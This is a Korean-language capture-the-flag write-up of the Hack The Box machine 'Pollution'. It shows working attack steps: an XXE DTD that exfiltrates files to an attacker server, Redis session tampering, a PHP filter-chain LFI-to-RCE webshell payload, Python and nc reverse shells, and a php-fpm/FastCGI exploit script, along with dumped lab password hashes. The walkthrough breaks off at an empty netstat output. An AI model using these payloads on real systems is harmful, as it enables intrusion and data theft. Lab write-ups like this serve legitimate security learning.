이번 머신은 Pollution이라는 머신명을 가졌다. 이름에서도 느껴지지만 ProtoType Pollution이나 Parameter Pollution을 다룰것으로 예상되며 머신의 난이도는 HARD이다. 기존 Snoopy 머신도 Hard 난이도이지만 포스팅하는 머신중 Hard는 처음이라 꼼꼼하게 살펴보았다.

Information Gathering

Port Scan

생성된 Pollution 머신의 IP는 10.10.11.192이며 포트 스캔에서 22/tcp, 80/tcp, 6379/tcp가 확인된다.

Service Check

Redis (6379/tcp)

가장 먼저 눈에 보이는 6379/tcp는 일반적으로 Redis 포트로 사용되는데 보통 외부에 열려있지는 않는다. 그렇게에 redis-cli를 통해 가장 먼저 접근이 되는지, 내부 Key값들을 확인할 수 있는지 확인해보았더니 키 확인을 위해선 인증을 요구한다.

juicemon HTB % redis-cli -h collect.htb
collect.htb:6379> KEYS *
(error) NOAUTH Authentication required.

Apache Httpd 2.4.54 (80/tcp)

그럼 이전 머신들과 동일하게 80/tcp에 접근하니 아래와 같은 페이지가 있었다.

Virtual Host Scan

해당 서비스에 기능을 훑어보기전 collect.htb의 vhost를 퍼징하니 아래와 같이 2건의 vhost를 확인할 수 있었다.


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://collect.htb
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
 :: Header           : Host: FUZZ.collect.htb
 :: Output file      : vhost.collect.htb.csv
 :: File format      : csv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 26197
 :: Filter           : Response words: 0
________________________________________________

developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 273ms]
forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 386ms]

forum.collect.htb의 경우 MyBB로 구축된 포럼으로 확인된다.

developers.collect.htb의 경우 Basic Auth로 통제되고있다. 추후 LFI같은 파일 시스템 접근이 가능하다면 $WEB_ROOT/.htpasswd를 확인하면 인증 정보를 알 수 있을 것이다.

다시 collect.htb로 돌아가 기능을 확인해보니 임팩트 있는 기능은 없고 회원가입/로그인 기능이 있어 바로 계정을 생성하고 여러 방면으로 공격 벡터를 찾아봤으나 디렉터리 스캔에서도 의미있는 정보는 확인할 수 없었다.

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://collect.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,276
________________________________________________

register                [Status: 200, Size: 4746, Words: 1163, Lines: 169, Duration: 265ms]
login                   [Status: 200, Size: 4740, Words: 1163, Lines: 169, Duration: 281ms]
assets                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 208ms]

Foothold

forum.collect.htb

MyBB로 구성된 forum 서비스를 공격하기위해 여러 알려진 취약점을 검색하고 시도해보았으나 머신 출제 의도와 맞지 않는 방향으로 판단되어 포럼 내부에 모든 게시글을 확인했다.

포럼 회원가입은 자유로우며 회원가입 후 로그인해야 게시글을 확인할 수 있다

그중 "I had problems with the Pollution API"라는 스레드의 내용 중 특정 파일이 업로드되어 있는것을 확인할 수 있었다.

해당 파일은 다운로드가 가능하고 로그 파일로 확인되며 API 사용 중 발생한 문제 해결을 위해 업로드한것으로 보이며 내용은 XML형태로 다양한 REQUEST/RESPONSE 정보가 담긴 파일이다.

단순하게 request, response를 구분하고 base64 decoding하는게 좋을 것같아서 아래와 같은 xml 파서를 제작했다.

package main

import (
	"encoding/base64"
	"encoding/json"
	"encoding/xml"
	"io/ioutil"
	"os"
)

type Items struct {
	XMLName     xml.Name `xml:"items"`
	Text        string   `xml:",chardata"`
	BurpVersion string   `xml:"burpVersion,attr"`
	ExportTime  string   `xml:"exportTime,attr"`
	Item        []struct {
		Text string `xml:",chardata"`
		Time string `xml:"time"`
		URL  string `xml:"url"`
		Host struct {
			Text string `xml:",chardata"`
			Ip   string `xml:"ip,attr"`
		} `xml:"host"`
		Port      string `xml:"port"`
		Protocol  string `xml:"protocol"`
		Method    string `xml:"method"`
		Path      string `xml:"path"`
		Extension string `xml:"extension"`
		Request   struct {
			Text   string `xml:",chardata"`
			Base64 string `xml:"base64,attr"`
		} `xml:"request"`
		Status         string `xml:"status"`
		Responselength string `xml:"responselength"`
		Mimetype       string `xml:"mimetype"`
		Response       struct {
			Text   string `xml:",chardata"`
			Base64 string `xml:"base64,attr"`
		} `xml:"response"`
		Comment string `xml:"comment"`
	} `xml:"item"`
}

type SaveData struct {
	Request  string `json:"request"`
	Response string `json:"response"`
}

func checkErr(err error) {
	if err != nil {
		panic(err)
	}
}

func main() {
	f, err := os.Open("./proxy_history.xml")
	checkErr(err)
	defer f.Close()

	data, err := ioutil.ReadAll(f)
	checkErr(err)

	var proxy_history Items
	err = xml.Unmarshal(data, &proxy_history)
	checkErr(err)

	var saveData []SaveData
	for _, item := range proxy_history.Item {
		req := item.Request.Text
		if item.Request.Base64 == "true" {
			decodedStr, _ := base64.StdEncoding.DecodeString(req)
			req = string(decodedStr)
		}

		resp := item.Response.Text
		if item.Response.Base64 == "true" {
			decodedStr, _ := base64.StdEncoding.DecodeString(resp)
			resp = string(decodedStr)
		}

		saveData = append(saveData, SaveData{Request: req, Response: resp})
	}

	if len(saveData) != 0 {
		result, _ := json.MarshalIndent(saveData, "", "\t")
		err := ioutil.WriteFile("result.json", result, 0644)
		checkErr(err)
	}
}

collect.htb 권한 상승

파싱된 결과(JSON)을 확인하는중 흥미로운 HTTP Request 로그를 확인할 수 있었다.

collect.htb 대상으로 디렉터리 스캔 시 발견되지 않았던 경로인 /set/role/admin에 POST 요청에 대한 로그이며 Body값으로 특정 토큰을 사용하고있다.

이를 확인해보기 위해 해당 HTTP Request를 복사하여 그대로 Burp에 붙여넣고 Cookie 헤더 내 PHPSESSID만 현재 juicemon 계정으로 부여된 세션 ID를 삽입하였다.

URI에서 유추할 수 있는것처럼 PHPSESSID(juicemon)에 admin role이 부여되어 /admin 페이지로 리다이렉트되었다.

관리자 페이지 하단에는 다음과 같이 API를 사용할 계정을 등록할 수 있는 기능이 존재했으며 HTTP Request를 확인하면 다음과 같은 API를 호출한다.

XXE

전달되는 manage_api파라미터에 xml이 전달되며 이는 XXE 공격이 가능한지 테스트해볼 여지가 충분하기에 XXE#ReadFileXXE#Blind SSRF - Exfiltrate data out-of-band를 참고하여 공격자 PC에 아래와 같은 내용의 xxe.dtd를 생성한다.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://공격자IP:공격자PORT/?x=%file;'>">
%eval;
%exfiltrate;

이후 전달되는 base64 인코딩된 값을 받을 python3 simple web을 실행한다.

python3 -m http.server 9001

모든 준비가 완료되었고 다시 collect.htb/api에 다음과 같은 xml구문이 포함된 값을 전달한다.

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.3:9999/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>

전달 후 XXE가 트리거되면서 Simple Web에서 다음과 같은 로그를 확인할 수 있으며 해당 base64 인코딩된 값은 index.php 파일 내용이다.

<?php

require '../bootstrap.php';

use app\classes\Routes;
use app\classes\Uri;


$routes = [
    "/" => "controllers/index.php",
    "/login" => "controllers/login.php",
    "/register" => "controllers/register.php",
    "/home" => "controllers/home.php",
    "/admin" => "controllers/admin.php",
    "/api" => "controllers/api.php",
    "/set/role/admin" => "controllers/set_role_admin.php",
    "/logout" => "controllers/logout.php"
];

$uri = Uri::load();
require Routes::load($uri, $routes);

index.php의 소스코드를 기반으로 xxe.dtd의 resource인자에 전달되는 파일 경로를 ../bootstrap.php으로 변경하여 계속해서 소스코드를 확인한다.

bootstrap.php에서는 다음과 같이 Redis 인증 정보 확인이 가능했다.

<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=XXXXXXXXXXXXXXXX');

session_start();

require '../vendor/autoload.php';

Redis Key Check

해당 인증 정보가 맞는지 확인하기 위해 위에서 진행했던것처럼 redis-cli를 통해 Redis 서버에 접근해 인증을 진행했고 모든 Key 정보를 확인할 수 있었다.

juicemon HTB % redis-cli -h collect.htb
collect.htb:6379> auth XXXXXXXXXXXXXXXX
OK
collect.htb:6379> keys *
1) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
collect.htb:6379> get "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
"username|s:8:\"juicemon\";role|s:5:\"admin\";

developers.collect.htb Basic Auth

Redis 정보를 확인할 수 있었지만 세션 정보를 더 파악하기 위해 소스코드를 더 확보해야될것으로 판단됐다. 그렇기에 여러가지 시도를 하다가 위에서 언급했던 .htpasswd 파일을 /var/www/developers/.htpasswd 경로에서 다운로드 할 수 있었다.

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

해당 해시가 무슨 해시 알고리즘인지 궁금해서 ChatGPT에게 물어봤다 ;;;

아무튼 해당 해시를 크랙할 수 있다면 Basic Auth가 걸려있는 developers.collect.htb에 접근할 수 있다. 바로 칼리로 달려가 hashcat으로 돌려보았다.

해시 크랙이 성공했고 developers_group의 계정정보를 통해 developers.collect.htb에 접근이 가능했다.하지만 로그인이 없다면 아무것도 할 수 없었다.

여러가지로 확인을 위해 XXE를 통해 developers의 소스코드를 찾아다니기 시작했고 /var/www/developers/index.php 파일을 다운로드 할 수 있었다.

아래 소스코드를 확인하면 상단에서 인증 세션에 부여된 인증 여부를 파악하는데 세션 값에 auth값이 존재하는지 체크한다.

이후 /?page=home으로 리다이렉트하는데, 여기서 page 파라미터를 처리하는 <?php include($_GET['page'] . ".php"); ?> 부분에서 LFI2RCE가 가능하다.

<?php
require './bootstrap.php';


if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}

if (!isset($_GET['page']) or empty($_GET['page'])) {
    die(header('Location: /?page=home'));
}

$view = 1;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="assets/js/tailwind.js"></script>
    <title>Developers Collect</title>
</head>

<body>
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>
        
        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>

        <?php include("footer.php"); ?>
    </div>

</body>

</html>

Redis Key 조작

먼저 세션 체크를 우회하기 위해 Redis에 다시 접근해서 Key 값을 다시 확인하니 developers.collect.htb에 접근 시 발급된 PHPSESSID가 추가되어 있는것을 확인할 수 있었다.

collect.htb:6379> keys *
1) "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7"
2) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"

위에서 세션 값 내 auth값이 있다면 인증을 통과할 수 있기에 다음과 같이 기존 admin으로 권한 상승했던 세션(sva4kcaccbbmur6k185b7jlk20)의 값을 복사하고 그 뒤에 auth값을 추가하는 작업을 진행한다.

collect.htb:6379> KEYS *
1) "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7"
2) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"

collect.htb:6379> GET "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
"username|s:8:\"juicemon\";role|s:5:\"admin\";"

collect.htb:6379> SET "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7" "username|s:8:\"juicemon\";role|s:5:\"admin\";auth|s:4:\"true\";"
OK

이후 developers 페이지를 리프레시하니 Redis에서 해당 세션 값의 키의 값에 auth값이 정상적으로 처리되어 인증 로직에서 통과해 다음과 같은 페이지를 볼 수 있었다.

LFI2RCE via PHP Filters

이제 위에서 확인한 developers의 index.php 소스코드에서 취약한 파라미터인 page를 공격한다.

언급한것처럼 사용자 입력값이 include 구문에 포함되는 취약한 소스코드를 이용한다.

자세한 내용은 Hacktricks의 LFI2RCE를 참고하였으며, 내용에 링크된 도구인 php_filter_chain_generator 이용하여 page 파라미터로 전달한 페이로드를 생성한다.

취약 여부를 판단하기 위해 phpinfo() 함수를 실행하는 페이로드를 생성하고 삽입했다.

juicemon php_filter_chain_generator % python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'   
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

phpinfo() 함수가 포함된 페이지를 확인할 수 있었고, 이렇게 코드 실행이 가능하다는것을 확인했다.

아래와 같은 One Line Webshell 코드를 삽입하는 페이로드를 제작한다.

juicemon php_filter_chain_generator % python3 php_filter_chain_generator.py --chain '<?=`$_GET[_]`?>' 
[+] The following gadget chain will generate the following code : <?=`$_GET[_]`?> (base64 value: PD89YCRfR0VUW19dYD8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

삽입한 코드의 _ 파라미터로 전달받아 명령을 실행하는 구문이 정상 동작하여 id 명령의 출력을 확인할 수 있다.

Shell Access (www-data)

이제 리버스 쉘을 획득하기 위해 다음과 같은 명령을 _파라미터에 전달한다.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자IP",리스너포트));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

공격자 PC에서 www-data계정의 쉘을 획득했다.

juicemon pollution % nc -l 10010 -vn
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

이후 일반 유저를 획득하기 위해 무지성으로 파일 시스템을 돌아다녀봤지만 쓸만한 정보는 없었고 다시 소스 코드를 분석하게됐다. 웹 서비스 소스코드의 구조는 다음과 같다.

bash-5.1$ pwd
/var/www

bash-5.1$ ls -al
total 20
drwxr-xr-x  5 root     root     4096 Nov 18  2022 .
drwxr-xr-x 12 root     root     4096 Oct 19  2022 ..
drwxr-xr-x  5 root     root     4096 Nov 18  2022 collect
drwxr-xr-x  3 root     root     4096 Oct 27  2022 developers
drwxr-xr-x 10 www-data www-data 4096 Sep 13  2022 forum

Database Access

/var/www/collect/config.php에서 로컬에서 구동중인 mysql의 계정정보를 확인할 수 있었다.

<?php


return [
    "db" => [
        "host" => "localhost",
        "dbname" => "webapp",
        "username" => "webapp_user",
        "password" => "Str0ngP4ssw0rdB*12@1",
        "charset" => "utf8"
    ],
];

해당 계정을 통해 DB 접근이 가능했고 다음과 같은 DB가 구성되어있다.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| developers         |
| forum              |
| information_schema |
| mysql              |
| performance_schema |
| pollution_api      |
| webapp             |
+--------------------+

webapp database

users 테이블에서 admin 계정의 md5 패스워드를 확인

MariaDB [webapp]> show tables;
show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| users            |
+------------------+
1 row in set (0.000 sec)

MariaDB [webapp]> select * from users;
select * from users;
+----+----------+----------------------------------+-------+
| id | username | password                         | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 | admin |
|  3 | juicemon | 73b69ce4c1cf7eb27d2862eed824e42b | admin |
+----+----------+----------------------------------+-------+
2 rows in set (0.001 sec)

forum database

mybb_users 테이블에서 포럼 유저의 계정정보 획득

MariaDB [forum]> select uid, username, password, salt, loginkey, email from mybb_users;
select uid, username, password, salt, loginkey, email from mybb_users;
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
| uid | username            | password                         | salt     | loginkey                                           | email            |
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
|   1 | administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R | A0y92JQgmcgWYD58HJ60DiiCt3P99x8OZfvOxEPwJLmqOeSOwW | admin@mail.com   |
|   2 | john                | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe | l7aOWBckgI4ftj2l4DOiStHdbBvGd7yTMQq1S3o9MKxjStGsIs | john@mail.com    |
|   3 | victor              | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 | AWph5kNlnypMrABiGwuDd7wsx2hpIrGkekB9npwYebdwIjNFwn | victor@mail.com  |
|   4 | sysadmin            | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 | yZbtQ4Q43aIKHpUILPJh3BI1hhV6PJxMfnrZNAhoCYQmLIP9Ha | sys@mail.com     |
|   5 | jeorge              | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 | JB39phsqZZD1uzYnlhRB6WenutT4vC50by83RY9A4SuM0hSVJS | jeorge@mail.com  |
|   8 | lyon                | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh | 8XGZZ4fr2JRedE3RTrQvfJBeXz6tBPq4tuHkQcN3ocxDz09Oby | lyon@collect.htb |
|   6 | jane                | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg | j15Em76H0nxL9EXIC4k4aw1KiJK7DS5bE9cQ33rmqHTBWokBc7 | jane@mail.com    |
|   7 | karldev             | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh | xvGZvc0b0ReCHDDJQuolVSC4r7GebsPYTlWghoNUkYT20Fp9H3 | karldev@mail.com |
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
8 rows in set (0.000 sec)

developers database

users 테이블에서 admin 계정 정보 획득

MariaDB [developers]> select * from users;
select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 |
+----+----------+----------------------------------+

pollution_api database

존재하는 테이블(messages, users)에 아무 정보도 없음.

확인된 md5와 mybb 패스워드 hash+salt를 johntheripper, hashcat으로 여러차례 크랙 시도했으나 크랙 실패 🤮

linpeas

리눅스 머신에서 항상 등장하는 linpeas를 실행하여 수집된 정보를 훑어보는중 victor 계정으로 구동중인 php-fpm 서비스를 발견했다.

victor      1087  0.0  0.5 265840 20620 ?        S    00:58   0:00  _ php-fpm: pool victor

php-fpm (9000/tcp)

뭔지 모르는 녀석이라 du0928-PHP-fpm 벨로그 포스팅을 참고하였고, 관련된 공격 방법이 존재하는지 찾다가 HackTricks에서 Pentesting FastCGI 확인할 수 있었고 아래 스크립트를 수정하여 코드 실행이 가능하다는것을 알 수 있었다.

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

FILENAMES에는 실제 존재하는 파일 경로를 전달해야하기에 이미 알고있는 /var/www/developers/index.php를 입력하고 스크립트를 실행하였더니 whoami 명령이 실행되어 victor가 출력되는것을 확인했다.

이제 스크립트의 변수 중 PAYLOAD를 수정하여 victor 권한으로 리버스 커넥션을 맺는 코드를 삽입하여 쉘을 획득하는 작업을 진행하며, 사용된 스크립트는 다음과 같다.

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 10002 >/tmp/f'); echo '-->';"
FILENAMES="/var/www/developers/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

Shell Access (victor)

php-fpm RCE를 통해 victor 계정의 쉘을 얻는데 성공했다.

victor@pollution:~$ id
id
uid=1002(victor) gid=1002(victor) groups=1002(victor)

pollution_api (3000/tcp)

victor 계정의 홈디렉터리에서 pollution_api/ 디렉터리를 파악할 수 있었고 index.js를 확인하니 로컬에서 3000/tcp로 동작하는 코드였다.

netstat을 통해 현재 서비스 중인것을 파악할 수 있었다.

victor@pollution:~/pollution_api$ netstat -ntlp;
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
